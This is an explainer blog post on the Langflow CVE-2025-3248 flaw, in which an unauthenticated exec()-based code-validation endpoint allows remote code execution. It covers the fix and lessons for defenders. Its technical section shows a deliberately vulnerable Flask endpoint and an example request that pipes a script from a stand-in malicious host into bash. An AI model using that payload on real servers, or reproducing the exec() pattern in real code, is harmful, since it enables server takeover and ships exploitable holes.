Langflow RCE Vulnerability: How a Python exec() Misstep Led to Unauthenticated Code Execution

In April 2025, a serious security flaw was found in Langflow - a popular tool that helps developers build AI workflows quickly and visually. This flaw let hackers run any Python code they wanted on servers running Langflow, without needing any password or permission. This isn’t just a bug; it’s a wake-up call for anyone building or using AI tools.

What Happened? A Python exec() Function Gone Wrong

Langflow has a feature that checks user‑submitted Python code to make sure it works. To do this, it uses Python’s exec() function, which basically runs any code it’s given. The problem? Langflow didn’t check who was sending the code, and it didn’t limit what that code could do.

Imagine giving a stranger the keys to your car without checking who they are - that’s what happened here. Anyone who could reach the Langflow server could send commands that ran on the machine, potentially stealing data, damaging the system, or using it as a stepping stone to attack other computers.

Why Is This Such a Big Deal?

• No Password Required
  Unlike most serious vulnerabilities, attackers didn’t need to log in or guess a password. They just sent a request to the server and took over.

• Full Control
  Because exec() can run any Python code, attackers had the power to do almost anything - from reading sensitive files to installing malware.

• Widespread Risk
  Hundreds of Langflow servers exposed to the internet were vulnerable. That’s a large attack surface for hackers to exploit.

Technical Deep Dive: How the Attack Works

Below is a simplified example of how an attacker could exploit the vulnerable endpoint in Langflow. If you’re not familiar with Python or web‑service code, you can skip this section-just know that “running arbitrary code” means an attacker can do anything they want on the server.

# Imagine this is part of a Flask (or FastAPI) endpoint that validates code:
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route("/api/v1/validate/code", methods=["POST"])
def validate_code():
    data = request.json
    user_code = data.get("code", "")
    try:
        # THIS IS THE DANGEROUS PART: running user-supplied code directly
        exec(user_code)
        return jsonify({"status": "valid"}), 200
    except Exception as e:
        return jsonify({"status": "error", "message": str(e)}), 400

An attacker could send a POST request like this:

POST /api/v1/validate/code HTTP/1.1
Host: vulnerable-langflow.example.com
Content-Type: application/json

{
  "code": "import os; os.system('curl http://malicious.server/install.sh | bash')"
}

Once that payload runs, the server would connect to malicious.server, download a shell script (install.sh), and execute it-giving the attacker full control over the host. This is why unsanitized use of exec() is so dangerous.

How Did This Get Fixed?

The Langflow team released an update that blocks unauthorized access to the dangerous part of the code and stops exec() from running unsafe commands. Updating to the latest version (1.3.0 or newer) is essential for anyone running Langflow.

What Can Developers and Teams Learn From This?

1. Avoid Running Code Directly from Users Running user code without safety checks is like leaving your front door wide open. Always sanitize inputs and, if you must run code, do it inside a safe environment (“sandbox”).

2. Require Authentication for All Critical Operations Critical operations-like running or validating code-should only be available to trusted, logged‑in users. Publicly exposed endpoints that run code are an invitation to attackers.

3. Keep Software Updated New releases often patch security holes. As soon as a fix for CVE‑2025‑3248 was available (Langflow ≥1.3.0), teams needed to upgrade immediately.

4. Control Network Access Limit who can reach sensitive parts of your application (e.g., via IP whitelisting, VPNs, or firewall rules), and monitor access logs for anything unusual.

Why Should Non‑Technical Folks Care?

AI tools like Langflow are becoming the backbone of many business and technology operations. When these tools have vulnerabilities, it’s not just a technical problem-it puts customer data, company reputation, and maybe even personal privacy at risk.

By understanding how a small coding choice (using Python’s exec() without proper controls) led to a major security hole, non‑technical stakeholders can appreciate why software updates, security budgets, and best practices matter.

Insight: Why This Happens in AI Development

Many AI tools prioritize rapid experimentation and prototyping. Teams often focus on getting a model to work quickly-wiring up demos, dashboards, or visual editors-without treating the tool as “production‑grade” software.

Key Point: AI frameworks and workflow builders (like Langflow) started as side projects to speed up model testing. Developers wanted a sandbox to try different prompts or chains of LLM calls. Security was an afterthought.

But now that these tools are used in real business workflows-processing customer data, integrating with APIs, or running in cloud environments-they need the same level of security scrutiny as any other web application. Otherwise, a “quick demo” mistake becomes a full‑blown data breach.

Final Thoughts

The Langflow incident is a clear example of how even the smartest AI tools can have simple, critical security flaws. Whether you’re a developer, a manager, or someone using AI-powered apps, it’s a reminder that security is a shared responsibility.

• Developers should build with safety in mind and avoid dangerous patterns like unsanitized exec().
• Security teams should audit AI tools as rigorously as other software.
• Business leaders need to allocate budget and set policies for regular updates, access controls, and monitoring.

Stay safe by applying best practices, updating your software, and always thinking twice before running code from unknown sources.

If you want to dive deeper, check out Horizon3.ai’s detailed write‑up and the explainer video linked below:

• Horizon3.ai CVE‑2025‑3248 Disclosure